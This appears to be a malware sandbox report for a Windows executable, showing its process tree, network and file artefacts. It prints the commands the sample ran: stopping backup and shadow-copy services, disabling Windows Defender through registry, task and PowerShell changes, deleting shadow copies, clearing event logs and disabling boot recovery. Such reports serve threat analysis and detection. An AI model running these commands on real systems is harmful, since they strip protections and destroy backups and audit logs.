PID 3156 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\sc.exe
PID 3156 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 3060 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 3060 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 964 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe
PID 3156 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_12bf5" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_12bf5" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_12bf5" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 time.windows.com udp
US 168.61.215.74:123 time.windows.com udp

Files

memory/2336-115-0x0000000000000000-mapping.dmp

memory/1328-116-0x0000000000000000-mapping.dmp

memory/2836-117-0x0000000000000000-mapping.dmp

memory/3272-118-0x0000000000000000-mapping.dmp

memory/3584-119-0x0000000000000000-mapping.dmp

memory/2320-120-0x0000000000000000-mapping.dmp

memory/3064-121-0x0000000000000000-mapping.dmp

memory/2736-122-0x0000000000000000-mapping.dmp

memory/2540-123-0x0000000000000000-mapping.dmp

memory/3704-124-0x0000000000000000-mapping.dmp

memory/2872-125-0x0000000000000000-mapping.dmp

memory/3208-126-0x0000000000000000-mapping.dmp

memory/420-127-0x0000000000000000-mapping.dmp

memory/3996-128-0x0000000000000000-mapping.dmp

memory/3000-129-0x0000000000000000-mapping.dmp

memory/2804-130-0x0000000000000000-mapping.dmp

memory/1832-131-0x0000000000000000-mapping.dmp

memory/1240-132-0x0000000000000000-mapping.dmp

memory/368-133-0x0000000000000000-mapping.dmp

memory/1912-134-0x0000000000000000-mapping.dmp

memory/980-135-0x0000000000000000-mapping.dmp

memory/1260-136-0x0000000000000000-mapping.dmp

memory/2328-137-0x0000000000000000-mapping.dmp

memory/2300-138-0x0000000000000000-mapping.dmp

memory/2932-139-0x0000000000000000-mapping.dmp

memory/2020-140-0x0000000000000000-mapping.dmp

memory/2316-141-0x0000000000000000-mapping.dmp

memory/2992-142-0x0000000000000000-mapping.dmp

memory/3060-143-0x0000000000000000-mapping.dmp

memory/2280-144-0x0000000000000000-mapping.dmp

memory/964-145-0x0000000000000000-mapping.dmp

memory/2416-146-0x0000000000000000-mapping.dmp

memory/2088-147-0x0000000000000000-mapping.dmp

memory/3256-148-0x0000000000000000-mapping.dmp

memory/584-149-0x0000000000000000-mapping.dmp

memory/3192-150-0x0000000000000000-mapping.dmp

memory/3468-151-0x0000000000000000-mapping.dmp

memory/1312-152-0x0000000000000000-mapping.dmp

memory/3576-153-0x0000000000000000-mapping.dmp

memory/1244-154-0x0000000000000000-mapping.dmp

memory/1972-155-0x0000000000000000-mapping.dmp

memory/2848-156-0x0000000000000000-mapping.dmp

memory/1784-157-0x0000000000000000-mapping.dmp

memory/1660-158-0x0000000000000000-mapping.dmp

memory/3748-159-0x0000000000000000-mapping.dmp

memory/2420-160-0x0000000000000000-mapping.dmp

memory/3048-161-0x0000000000000000-mapping.dmp

memory/64-162-0x0000000000000000-mapping.dmp

memory/3972-163-0x0000000000000000-mapping.dmp

memory/912-164-0x0000000000000000-mapping.dmp

memory/2072-165-0x0000000000000000-mapping.dmp

memory/1164-166-0x0000000000000000-mapping.dmp

memory/1724-167-0x0000000000000000-mapping.dmp

memory/2356-168-0x0000000000000000-mapping.dmp

memory/2324-169-0x0000000000000000-mapping.dmp

memory/2468-170-0x0000000000000000-mapping.dmp

memory/1004-171-0x0000000000000000-mapping.dmp

memory/1356-172-0x0000000000000000-mapping.dmp

memory/836-173-0x0000000000000000-mapping.dmp

memory/3284-174-0x0000000000000000-mapping.dmp

memory/3080-175-0x0000000000000000-mapping.dmp

memory/3908-176-0x0000000000000000-mapping.dmp

memory/1144-177-0x0000000000000000-mapping.dmp

memory/3176-178-0x0000000000000000-mapping.dmp

memory/724-179-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-180-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-181-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-182-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-183-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-184-0x00000244F1C20000-0x00000244F1C42000-memory.dmp

memory/724-185-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-186-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-187-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-188-0x00000244F3EF0000-0x00000244F3F66000-memory.dmp

memory/724-189-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-194-0x00000244F1C93000-0x00000244F1C95000-memory.dmp

memory/724-193-0x00000244F1C90000-0x00000244F1C92000-memory.dmp

memory/724-195-0x00000244F1C96000-0x00000244F1C98000-memory.dmp

memory/724-216-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/724-217-0x00000244D7E40000-0x00000244D7E42000-memory.dmp

memory/3280-219-0x00000277FB170000-0x00000277FB172000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 ad5cd538ca58cb28ede39c108acb5785
SHA1 1ae910026f3dbe90ed025e9e96ead2b5399be877
SHA256 c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
SHA512 c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

memory/3280-220-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-221-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-222-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-223-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-224-0x00000277FCC70000-0x00000277FCC92000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b20ce0aea4d379371a3057dc65310567
SHA1 b2d3ced7b30c638258f3e45e72d06f779ecc804e
SHA256 9865603a0003e532b51847db5050253697f1f15b1c9b12735a5e1f1356129199
SHA512 a8548294d02825e154fc089512e81674a1733992bac8f795027e57ee933efa5be6f2612deb1a99505934c66ea154f598d20c732ff91ea470aed2b9c5b44a81b9

memory/3280-226-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-227-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-228-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/3280-229-0x00000277FF290000-0x00000277FF306000-memory.dmp

memory/3280-230-0x00000277FB170000-0x00000277FB172000-memory.dmp

memory/724-234-0x00000244F1C98000-0x00000244F1C99000-memory.dmp

memory/3280-235-0x00000277FCC60000-0x00000277FCC62000-memory.dmp

memory/3280-236-0x00000277FCC63000-0x00000277FCC65000-memory.dmp

memory/3280-260-0x00000277FCC66000-0x00000277FCC68000-memory.dmp

memory/3280-261-0x00000277FCC68000-0x00000277FCC69000-memory.dmp